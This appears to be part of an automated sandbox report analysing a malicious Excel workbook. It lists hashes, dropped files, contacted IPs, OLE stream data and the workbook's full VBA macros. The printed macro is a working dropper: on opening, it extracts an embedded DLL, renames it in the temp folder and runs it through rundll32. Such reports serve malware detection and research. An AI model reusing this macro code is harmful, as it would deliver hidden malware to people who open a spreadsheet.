	18ccb7df2f91787a9392bf60d2f7019c86af65584c8a9.exe	Get hash	malicious	Browse	8.209.64.72
	xBMx9OBP97.exe	Get hash	malicious	Browse	8.208.92.93
	CSyG3zNcwS.exe	Get hash	malicious	Browse	8.208.92.93
	BrCi5pJr8J.exe	Get hash	malicious	Browse	8.208.92.93

JA3 Fingerprints

No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
C:\Users\user\AppData\Local\Temp\532.dll	0722_5065418752.xls	Get hash	malicious	Browse

Created / dropped Files

C:\ProgramData\kaosdma.txt Download File
Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	10
Entropy (8bit):	2.6464393446710157
Encrypted:	false
SSDEEP:	3:HLLg:fg
MD5:	FA13251DCFFD9666C5F92DF673E69E62
SHA1:	6D6CB94CF09D537789A1D4CC3A85470F3510FC14
SHA-256:	70896E7D7D47410A6F025E85B8239C1CA68BD3DF5B0FFE7017F1743043E37E1E
SHA-512:	18FE6A5F7246C089C7719BE4D069EADE83E032E41DD7FB8F7A0C2AD2C371A712026A57606CD6220B0DDC52EB35C483074D2BC21431E658944BAC157DEEF191A6
Malicious:	false
Reputation:	low
Preview:	84.17.52.8

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\BKHVJ3NI.txt Download File
Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	10
Entropy (8bit):	2.6464393446710157
Encrypted:	false
SSDEEP:	3:HLLg:fg
MD5:	FA13251DCFFD9666C5F92DF673E69E62
SHA1:	6D6CB94CF09D537789A1D4CC3A85470F3510FC14
SHA-256:	70896E7D7D47410A6F025E85B8239C1CA68BD3DF5B0FFE7017F1743043E37E1E
SHA-512:	18FE6A5F7246C089C7719BE4D069EADE83E032E41DD7FB8F7A0C2AD2C371A712026A57606CD6220B0DDC52EB35C483074D2BC21431E658944BAC157DEEF191A6
Malicious:	false
Reputation:	low
Preview:	84.17.52.8

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\3ECECA93.emf Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	4976
Entropy (8bit):	3.879470172171999
Encrypted:	false
SSDEEP:	48:ptNZgsdBgD89t1Tb4HKKZX3Y6kpYjdHkYaP6:xZlBvt1X6YU5EH6
MD5:	C647941F85819463821807ED3BCA9A80
SHA1:	4A52009C351C9F08D67A235021CB9D618B3FB39F
SHA-256:	6BE153848165D1AB8A23EF5EB177D719A15CCA021937E3C28E5C88514D070910
SHA-512:	5AF1A4677BA2A36D2D087751C89F99A523D67C54524A64E6AB805E24CAAC6719EF617B3C9594CD8535E582A470FDA99DC63D4F26E7B5B89E6028DA2DCDE02EE9
Malicious:	false
Reputation:	low
Preview:	....l...........-.../...........^....... EMF....p.......................V.......i......................:...........................3...5...R...p...................................S.e.g.o.e. .U.I.....................................................\.......................8..XD..........._..............0..XD...........................T.......X..XD...................a$7........XD....................$..............wg.........XD...X..X............8..XD...................0..XD...I..XD...X..XD.......dv......%...................................r...............)............... ... ..................?...........?................l...4........... ... ...(... ... ..... .............................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\4C91F519.emf Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	4976
Entropy (8bit):	3.8552592590578634
Encrypted:	false
SSDEEP:	48:pWN5aFsdBgD89t1Tb4HKKZX3Y6kpnydHkGau:E5a0Bvt1X6Y+Ek
MD5:	4FEB2EE830D455756D2B803BC43B53E1
SHA1:	ED22FEB2E91F8CC3E5868450011B2E3F413A9F76
SHA-256:	BF3819F146CC5D4FB9ED888415DEE9A3BB043DF9CD0D1151D218BFC2D344A6CC
SHA-512:	F21D2B5AB048A1EF5D9D41986F60C1176DD2351C438B498A44AF65CCD69CE1F781EE3B8294FF44756A9E4B19B3F85D868598A68ACC82D1BBE6603A6654AC51DD
Malicious:	false
Preview:	....l...........%.../...........p....... EMF....p.......................V.......i......................:...........................*...5...R...p...................................S.e.g.o.e. .U.I.....................................................\.......@'X2....(.,..............................xb....0(X2.....................'X2.............'X2....................a$........,............................. .,.......+...................................................0(X2....I(X2....X)X2........dv......%...................................r...............$............... ... ..................?...........?................l...4........... ... ...(... ... ..... .............................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5D91DB78.emf Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	4976
Entropy (8bit):	3.8697655321605633
Encrypted:	false
SSDEEP:	48:ptN3ZYDgsdBgD89t1Tb4HKKZX3Y6kpnydHkfaP6:xJ6lBvt1X6Y+Es6
MD5:	561ADBAB9E33ED0833A3CA3299DA356A
SHA1:	8F185A2A67D70606A57654F158A30EFD9CE33B3C
SHA-256:	275929AF7553B75A1355E0FD96B655DBBD56C81A890F06A5CB2B8882BF5F45B8
SHA-512:	9DABDDC451289F3FBBEE6173F9C9AA1724AC2324AE50D6FF43034C0E58373C9C40F82132DD472EA8C26176C60071E57B8C988E6A94FF7CF20306D87029448FA4
Malicious:	false
Preview:	....l...........-.../...........^....... EMF....p.......................V.......i......................:...........................3...5...R...p...................................S.e.g.o.e. .U.I.....................................................\.......................p.l..........._................p.l...........................T.........p.l...................a$7.....@.p.l..................................wg...... .p.l.....p..............p.l....................p.l....p.l.....p.l.......dv......%...................................r...............)............... ... ..................?...........?................l...4........... ... ...(... ... ..... .............................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\532.dll Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	204800
Entropy (8bit):	6.327152340682224
Encrypted:	false
SSDEEP:	3072:HLg/uYnxzUzb9HbHYgaf8odt7DBsXFJktl/ML5xtREVFW5p3d+0d:HMZJUzBZaf84VE4l/ML5xEop3fd
MD5:	7348620F737EC1B0997CAE7548344F2C
SHA1:	5550F62FDC0963C331B460F8A967C45D481E505A
SHA-256:	8EFAC1531E83525BB0806EEBCA0BB9A797A18FEB1848A4CEEE4A88FDB85CBBBD
SHA-512:	568BABF18BA8AD33C9756E43610172361132F076BB4601E0E046317A30A298DA453219F43A2B5FFAFC5C535E4CA62FFFF622AE7BF084EFBA786946B880F9DDB6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Joe Sandbox View:	Filename: 0722_5065418752.xls, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......`..A$...$...$....U..0....U.......U..C...-...-...$........U..%....U..%....U..%....U..%...Rich$...................PE..L...a.F...........!.........................................................`.....................................0...k...x...d.... .......................0..,...P...................................@............................................text....r.......................... ..`.rdata...,.......0..................@..@.data....^....... ..................@....rsrc........ ......................@..@.reloc...'...0...0..................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\532.dll:Zone.Identifier Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:gAWY3n:qY3n
MD5:	FBCCF14D504B7B2DBCB5A5BDA75BD93B
SHA1:	D59FC84CDD5217C6CF74785703655F78DA6B582B
SHA-256:	EACD09517CE90D34BA562171D15AC40D302F0E691B439F91BE1B6406E25F5913
SHA-512:	AA1D2B1EA3C9DE3CCADB319D4E3E3276A2F27DD1A5244FE72DE2B6F94083DDDC762480482C5C2E53F803CD9E3973DDEFC68966F974E124307B5043E654443B98
Malicious:	false
Preview:	[ZoneTransfer]..ZoneId=3..

Static File Info

General
File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Create Time/Date: Fri Jun 5 19:17:20 2015, Last Saved Time/Date: Thu Jul 22 11:32:50 2021, Security: 0
Entropy (8bit):	6.79339812364088
TrID:	Microsoft Excel sheet (30009/1) 47.99% Microsoft Excel sheet (alternate) (24509/1) 39.20% Generic OLE2 / Multistream Compound File (8008/1) 12.81%
File name:	0722_2857746751.xls
File size:	351232
MD5:	97538e922b86b2ae95625d1e11e6aaf1
SHA1:	928e4d89b379bdd7c894787431a8d0b42f28a5a4
SHA256:	83c9c9beaca0a147e23995b84792f56cd130ccf262147374bd1114c2ac698fee
SHA512:	c002b9f11892fb3882ccb7b07e91a5396370232407614ea1f5b4b6dbf7cde70c59c699415e01066731454debfb8e468a15def21ef889b92dedeabde79a623ed7
SSDEEP:	6144:gMZJUzBZaf84VE4l/ML5xEop3fduk3hOdsylKlgxopeiBNhZF+E+W2kdAvvvvvv8:3AO84VE4l/MLzEglYfPEDvL3
File Content Preview:	........................>.......................................................................z..............................................................................................................................................................

File Icon


Icon Hash:	e4eea286a4b4bcb4

Static OLE Info

General
Document Type:	OLE
Number of OLE Files:	1

OLE File "0722_2857746751.xls"

Indicators
Has Summary Info:	True
Application Name:	unknown
Encrypted Document:	False
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	True
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:	True

Summary
Code Page:	1252
Author:
Last Saved By:
Create Time:	2015-06-05 18:17:20
Last Saved Time:	2021-07-22 10:32:50
Security:	0

Document Summary
Document Code Page:	1252
Thumbnail Scaling Desired:	False
Company:
Contains Dirty Links:	False
Shared Document:	False
Changed Hyperlinks:	False
Application Version:	1048576

Streams with VBA

VBA File Name: Module1.bas, Stream Size: 2081

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Module1
VBA File Name:	Module1.bas
Stream Size:	2081
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . - . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	01 16 03 00 06 f0 00 00 00 d2 03 00 00 d4 00 00 00 b0 01 00 00 ff ff ff ff 00 04 00 00 d0 06 00 00 02 00 00 00 01 00 00 00 0d b9 0d 2d 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff 08 00 ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code Keywords

Keyword
Nedc,
String)
nam(pafs
mds.SubFolders
Search(mds
VB_Name
ErrHandle:
Ters.Name
Err.Clear
Object
Environ$("temp")
Search
mds.Files
"omsh.dll"
Attribute
Object,

VBA Code

Attribute VB_Name = "Module1"

Sub nam(pafs As String)
Name pafs As Environ$("temp") & "\" & "omsh.dll"
End Sub



 
 Sub Search(mds As Object, pafs As String)
 Dim Nedc As Object

  
   For Each Nedc In mds.SubFolders
     Search Nedc, pafs
   Next Nedc
Dim Ters As Object
   For Each Ters In mds.Files
   
   If Ters.Name = "532.dll" Then
       
        pafs = Ters
        End If
   Next Ters
   Exit Sub
ErrHandle:
   
   Err.Clear
End Sub

VBA File Name: Sheet1.cls, Stream Size: 999

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet1
VBA File Name:	Sheet1.cls
Stream Size:	999
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 . . . . . . . . . . . . . . y . . . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	01 16 03 00 01 f0 00 00 00 da 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff e1 02 00 00 35 03 00 00 00 00 00 00 01 00 00 00 0d b9 d2 79 00 00 ff ff 23 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code Keywords

Keyword
False
VB_Exposed
Attribute
VB_Name
VB_Creatable
VB_PredeclaredId
VB_GlobalNameSpace
VB_Base
VB_Customizable
VB_TemplateDerived

VBA Code

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: ThisWorkbook.cls, Stream Size: 4517

General
Stream Path:	_VBA_PROJECT_CUR/VBA/ThisWorkbook
VBA File Name:	ThisWorkbook.cls
Stream Size:	4517
Data ASCII:	. . . . . 0 . . . . . . . . . . . . . . . . . . . . . . . c . . . . . . . . . . . . . . . . . . . # . . . . . . . . . . . . . 0 . . . . . : . . . . . . . . . . . . . . . . . . . . . . . . . . . . S h e l l E x e c u t e A . . . . . . . . . . . . . x . . . . . r ) . . ~ . c A . . . . q \| . p . . . . . . . . . . . . . . . F . . . . . . . . . . . . . . . . . . . . S f . ( b L . J . . . . . 1 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . S f . ( b L . J . . . . . 1 . . r )
Data Raw:	01 16 03 00 06 30 01 00 00 e2 08 00 00 14 01 00 00 c0 02 00 00 ad 09 00 00 bb 09 00 00 63 0e 00 00 01 00 00 00 01 00 00 00 0d b9 bd a7 00 00 ff ff 23 00 00 00 88 00 00 00 b6 00 ff ff 01 01 30 00 00 00 00 00 3a 02 20 00 00 00 ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 53 68 65 6c 6c 45 78 65 63 75 74 65 41 00 00 00 ff ff ff ff 01 00 00 00 ff ff 78 00 ff

VBA Code Keywords

Keyword
Scripting.FileSystemObject
String,
ByVal
"texmp"
VB_Name
VB_Creatable
"ThisWorkbook"
VB_Exposed
nShowCmd
FileSystemObject
PtrSafe
Selection.Copy
"ShellExecuteA"
Function
(ByVal
"\omsh.dll,SHIIJGLGNAB",
Option
Dir(vcbc
nam(Ioes)
Long)
Environ$("temp")
Long,
VB_Customizable
vbNullString,
ActiveSheet.Shapes.Range(Array("Object
".exe"
Explicit
"rundl"
xxx()
Alias
lpDirectory
Ioes)
VB_TemplateDerived
Declare
String
Compare
False
lpFile
Attribute
lpParameters
Workbook_Open()
Private
VB_PredeclaredId
asdaf
VB_GlobalNameSpace
"\omsh.dll")
VB_Base
Search(asdaf.GetFolder(usx),
lpOperation
Len(Ioes)

VBA Code

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Option Compare Text
Option Explicit
Dim Ioes As String
  Private Declare PtrSafe Function fffz Lib "shell32"         Alias "ShellExecuteA" (ByVal hwnd As Long,         ByVal lpOperation As String, ByVal lpFile As String,         ByVal lpParameters As String, ByVal lpDirectory As String,         ByVal nShowCmd As Long) As Long
Private Sub Workbook_Open()

  

Dim vcbc As String
vcbc = Environ$("temp")
Dim xc
xc = "texmp"
If Dir(vcbc & "\omsh.dll") = "" Then

ActiveSheet.Shapes.Range(Array("Object 20")).Select
Selection.Copy


Call xxx

If Len(Ioes) > 2 Then

Call nam(Ioes)

Dim ued As String
ued = ".exe"


 fffz 0, vbNullString,     "rundl" & "l32", Environ$("temp") & "\omsh.dll,SHIIJGLGNAB",      vbNullString, 1
End If
End If
End Sub


Sub xxx()
Dim usx

usx = Environ$("temp")


Dim asdaf As FileSystemObject

Set asdaf = New Scripting.FileSystemObject


Call Search(asdaf.GetFolder(usx), Ioes)

End Sub

Streams

Stream Path: \x1CompObj, File Type: data, Stream Size: 107

General
Stream Path:	\x1CompObj
File Type:	data
Stream Size:	107
Entropy:	4.18482950044
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . F . . . . M i c r o s o f t E x c e l 2 0 0 3 W o r k s h e e t . . . . . B i f f 8 . . . . . E x c e l . S h e e t . 8 . . 9 . q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 20 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 1f 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 45 78 63 65 6c 20 32 30 30 33 20 57 6f 72 6b 73 68 65 65 74 00 06 00 00 00 42 69 66 66 38 00 0e 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 244

General
Stream Path:	\x5DocumentSummaryInformation
File Type:	data
Stream Size:	244
Entropy:	2.65175227267
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , . . 0 . . . . . . . . . . . . . . . P . . . . . . . X . . . . . . . d . . . . . . . l . . . . . . . t . . . . . . . \| . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . S h e e t 2 . . . . . . . . . . . . . . . . . W o r k s h e e t s . . . . . . . . . . .
Data Raw:	fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 c4 00 00 00 09 00 00 00 01 00 00 00 50 00 00 00 0f 00 00 00 58 00 00 00 17 00 00 00 64 00 00 00 0b 00 00 00 6c 00 00 00 10 00 00 00 74 00 00 00 13 00 00 00 7c 00 00 00 16 00 00 00 84 00 00 00 0d 00 00 00 8c 00 00 00 0c 00 00 00 9f 00 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 176

General
Stream Path:	\x5SummaryInformation
File Type:	data
Stream Size:	176
Entropy:	2.70609321129
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . . . + ' . . 0 . . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . T . . . . . . . ` . . . . . . . l . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . @ . . . . x s . . . . . @ . . . . 5 . . . ~ . . . . . . . . . .
Data Raw:	fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 80 00 00 00 06 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 54 00 00 00 0c 00 00 00 60 00 00 00 0d 00 00 00 6c 00 00 00 13 00 00 00 78 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00 e4 04 00 00 1e 00 00 00 04 00 00 00

Stream Path: MBD0132A5F4/\x1CompObj, File Type: data, Stream Size: 76

General
Stream Path:	MBD0132A5F4/\x1CompObj
File Type:	data
Stream Size:	76
Entropy:	3.09344952647
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . F . . . . O L E P a c k a g e . . . . . . . . . P a c k a g e . . 9 . q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 0c 00 03 00 00 00 00 00 c0 00 00 00 00 00 00 46 0c 00 00 00 4f 4c 45 20 50 61 63 6b 61 67 65 00 00 00 00 00 08 00 00 00 50 61 63 6b 61 67 65 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD0132A5F4/\x1Ole10Native, File Type: data, Stream Size: 205073

General
Stream Path:	MBD0132A5F4/\x1Ole10Native
File Type:	data
Stream Size:	205073
Entropy:	6.32670240332
Base64 Encoded:	True
Data ASCII:	. ! . . . . 5 3 2 . d l l . C : \\ U s e r s \\ M y P c \\ D e s k t o p \\ 2 1 3 \\ 5 3 2 . d l l . . . . . ) . . . C : \\ U s e r s \\ M y P c \\ A p p D a t a \\ L o c a l \\ T e m p \\ 5 3 2 . d l l . . . . M Z . . . . . . . . . . . . . . . . . . . . . . @ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ! . . L . ! T h i s p r o g r a m c a n n o t b e r u n i n D O S m o d e . . . . $ . . . . . . . ` . . A $ . . . $ . . . $ . . . . U . . 0 . . . . U .
Data Raw:	0d 21 03 00 02 00 35 33 32 2e 64 6c 6c 00 43 3a 5c 55 73 65 72 73 5c 4d 79 50 63 5c 44 65 73 6b 74 6f 70 5c 32 31 33 5c 35 33 32 2e 64 6c 6c 00 00 00 03 00 29 00 00 00 43 3a 5c 55 73 65 72 73 5c 4d 79 50 63 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 54 65 6d 70 5c 35 33 32 2e 64 6c 6c 00 00 20 03 00 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 117790

General
Stream Path:	Workbook
File Type:	Applesoft BASIC program data, first line number 16
Stream Size:	117790
Entropy:	7.68434203092
Base64 Encoded:	True
Data ASCII:	. . . . . . . . Z O . . . . . . . . . . . . . . . . . . . . . . . . . . \\ . p . . . . B . . . . . a . . . . . . . . . = . . . . . . . . . . . . . . . . T h i s W o r k b o o k . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . = . . . . . . . . V e 1 8 . . . . . . . X . @
Data Raw:	09 08 10 00 00 06 05 00 5a 4f cd 07 c9 00 02 00 06 08 00 00 e1 00 02 00 b0 04 c1 00 02 00 00 00 e2 00 00 00 5c 00 70 00 02 00 00 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

Stream Path: _VBA_PROJECT_CUR/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 463

General
Stream Path:	_VBA_PROJECT_CUR/PROJECT
File Type:	ASCII text, with CRLF line terminators
Stream Size:	463
Entropy:	5.37464134487
Base64 Encoded:	True
Data ASCII:	I D = " { 5 9 C 6 5 7 D 9 - A 6 8 9 - 4 0 B 8 - 8 8 7 C - D 5 C B C A E 8 8 A 1 C } " . . D o c u m e n t = T h i s W o r k b o o k / & H 0 0 0 0 0 0 0 0 . . M o d u l e = M o d u l e 1 . . D o c u m e n t = S h e e t 1 / & H 0 0 0 0 0 0 0 0 . . N a m e = " V B A P r o j e c t " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t i b l e 3 2 = " 3 9 3 2 2 2 0 0 0 " . . C M G = " A 0 A 2 B 8 B E B C B E B C B E B C B E B C " . . D P B = " 7 9 7 B 6 1 9 2 6 2 9 2 6 2 9 2 " . . G C = " 5 2 5 0
Data Raw:	49 44 3d 22 7b 35 39 43 36 35 37 44 39 2d 41 36 38 39 2d 34 30 42 38 2d 38 38 37 43 2d 44 35 43 42 43 41 45 38 38 41 31 43 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 54 68 69 73 57 6f 72 6b 62 6f 6f 6b 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 4d 6f 64 75 6c 65 3d 4d 6f 64 75 6c 65 31 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 68 65 65 74 31 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 4e 61 6d 65 3d

Stream Path: _VBA_PROJECT_CUR/PROJECTwm, File Type: data, Stream Size: 86

General
Stream Path:	_VBA_PROJECT_CUR/PROJECTwm
File Type:	data
Stream Size:	86
Entropy:	3.24455457963
Base64 Encoded:	False
Data ASCII:	T h i s W o r k b o o k . T . h . i . s . W . o . r . k . b . o . o . k . . . M o d u l e 1 . M . o . d . u . l . e . 1 . . . S h e e t 1 . S . h . e . e . t . 1 . . . . .
Data Raw:	54 68 69 73 57 6f 72 6b 62 6f 6f 6b 00 54 00 68 00 69 00 73 00 57 00 6f 00 72 00 6b 00 62 00 6f 00 6f 00 6b 00 00 00 4d 6f 64 75 6c 65 31 00 4d 00 6f 00 64 00 75 00 6c 00 65 00 31 00 00 00 53 68 65 65 74 31 00 53 00 68 00 65 00 65 00 74 00 31 00 00 00 00 00

Stream Path: _VBA_PROJECT_CUR/VBA/_VBA_PROJECT, File Type: data, Stream Size: 3274

General
Stream Path:	_VBA_PROJECT_CUR/VBA/_VBA_PROJECT
File Type:	data
Stream Size:	3274
Entropy:	4.47186467068
Base64 Encoded:	False
Data ASCII:	. a . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 2 . # . 9 . # . C . : . \\ . P . r . o . g . r . a . m . . F . i . l . e . s . \\ . C . o . m . m . o . n . . F . i . l . e . s . \\ . M . i . c . r . o . s . o . f . t . . S . h . a . r . e . d . \\ . V . B . A . \\ . V . B . A . 7 . . . 1 . \\ . V . B . E . 7 .
Data Raw:	cc 61 b2 00 00 03 00 ff 09 04 00 00 09 04 00 00 e4 04 03 00 00 00 00 00 00 00 00 00 01 00 05 00 02 00 20 01 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 32 00 23 00

Stream Path: _VBA_PROJECT_CUR/VBA/__SRP_0, File Type: data, Stream Size: 3034

General
Stream Path:	_VBA_PROJECT_CUR/VBA/__SRP_0
File Type:	data
Stream Size:	3034
Entropy:	3.312414071
Base64 Encoded:	False
Data ASCII:	. K * . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . r U . . . . . . . . @ . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ , . . . . . . . . . . . . . . . " . . . . . . . . . . .
Data Raw:	93 4b 2a b2 03 00 10 00 00 00 ff ff 00 00 00 00 01 00 02 00 ff ff 00 00 00 00 01 00 00 00 00 00 00 00 00 00 01 00 02 00 00 00 00 00 00 00 01 00 00 00 01 00 00 00 00 00 01 00 02 00 01 00 00 00 00 00 01 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 00 00 72 55 c0 01 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 06 00 00 00

Stream Path: _VBA_PROJECT_CUR/VBA/__SRP_1, File Type: data, Stream Size: 381

General
Stream Path:	_VBA_PROJECT_CUR/VBA/__SRP_1
File Type:	data
Stream Size:	381
Entropy:	2.66347860718
Base64 Encoded:	False
Data ASCII:	r U @ . . . . . . . @ . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . ~ z . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . h w n d . . . . . . . . . . . . . . . . l p O p e r a t i o n . . . . . . . . . . . . . . . . l p F i l e . . . . . . . . .
